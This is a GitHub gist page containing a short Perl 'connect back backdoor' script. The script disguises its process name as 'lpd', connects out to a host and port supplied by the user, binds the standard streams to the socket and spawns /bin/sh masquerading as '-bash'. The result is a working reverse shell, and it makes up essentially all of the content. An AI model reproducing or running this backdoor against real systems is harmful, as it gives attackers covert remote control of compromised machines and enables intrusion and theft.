Skip to content

Instantly share code, notes, and snippets.

@fbettag
Created July 23, 2011 03:11
Show Gist options
  • Save fbettag/1100917 to your computer and use it in GitHub Desktop.
Save fbettag/1100917 to your computer and use it in GitHub Desktop.
#!/usr/bin/perl
use Socket;
$0 = 'lpd';
print "Data Cha0s Connect Back Backdoorn\n";
if (!$ARGV[0]) {printf "Usage: $0 [Host] <Port>\n";exit(1);}
print "[*] Dumping Arguments\n";
$host = $ARGV[0];
$port = 50000;
if ($ARGV[1]) {
$port = $ARGV[1];}
print "[*] Connecting...\nn";
$proto = getprotobyname('tcp') || die("Unknown Protocoln");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Errorn");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("Unable to Connectn");
}
print "[*] Spawning Shell\n";
if (!fork( )) {open(STDIN,">&SERVER");
open(STDOUT,">&SERVER");
open(STDERR,">&SERVER");
exec {'/bin/sh'} '-bash'
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment